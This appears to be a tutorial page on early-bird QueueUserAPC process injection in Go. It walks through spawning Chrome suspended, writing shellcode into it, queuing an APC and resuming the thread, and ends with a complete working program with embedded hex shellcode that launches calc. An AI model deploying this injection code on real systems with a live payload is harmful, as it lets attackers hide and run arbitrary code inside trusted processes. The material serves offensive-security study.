# 3. QueueUserAPC

This technique is a combination of the two previous techniques. Unlike process hollowing it will not overwrite the contents of the main thread but allocate a new memory region. The main difference is that QueueUserAPC will be used to execute our shellcode when the main thread is resumed.&#x20;

The benefit is that we won't be calling the CreateRemoteThread API.

The Windows APIs required to perform this technique are the following:

* [CreateProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)
* [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
* [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
* [QueueUserAPC](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc)
* [ResumeThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread)

### Create suspended process

Starting a process can be achieved by calling the CreateProcess API.

```c
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
```

The most important parameter is the dwCreationFlags should be set to CREATE\_SUSPENDED (0x04)

```go
	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fgo3PurTcoXUbK00dYXTn%2Fimage.png?alt=media&#x26;token=f180a485-3252-4cc2-9751-b036d3485bc0" alt=""><figcaption><p>Process Created</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FO0LF2Ipzx495UB8DzzxN%2Fimage.png?alt=media&#x26;token=b05848df-1431-497d-af54-e6240f3e5896" alt=""><figcaption><p>Suspended Chrome.exe process</p></figcaption></figure>

## Allocating memory on remote process

VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory.

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

* hProcess: Process Handle returned by the CreateProcess API
* lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
* dwSize: Will be the size of our shellcode
* flAllocationType: We need to reserve and commit memory
* flProtect: This can be done in a number of ways. To write and execute shellcode we will need rx permissions.&#x20;

```go
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
```

### Writing shellcode to remote process

WriteProcessMemory winapi will be used to write shellcode to the remote memory

```cpp
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

* hProcess: Process Handle returned by the CreateProcess API
* lpBaseAddress:  Value returned from VirtualAllocEx
* lpBuffer: A pointer to the beginning of our shellcode byte array
* nSize: Size of our shellcode
* lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

```go
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, 
					uintptr(addr), 
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
```

### Add a user-mode APC ( Asynchronous Procedure Call)

```c
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);
```

pfnAPC: This will be the address returned by VirtualAllocEx

hThread: Returned by the createprocess API

dwData: Set to 0

```go
procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
	success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
	if success1 == 0 {
		log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
	}
```

### Resume Execution

To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achieve that.

```c
DWORD ResumeThread(
  [in] HANDLE hThread
);
```

We simply pass the handle returned by the CreateProcess API.&#x20;

```go
	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FRiQJNs9YikBPGzEn1RfB%2Fimage.png?alt=media&#x26;token=fd09b95e-33cf-4a00-a959-b67a5426e214" alt=""><figcaption><p>Calculator Executed</p></figcaption></figure>

### Complete Code

```go
package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"

	"golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

func main() {
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(outProcInfo.Process),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(addr), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

	procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
	success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
	if success1 == 0 {
		log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
	}
	

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
	fmt.Println("[+] Resuming Suspended Thread")

}

```
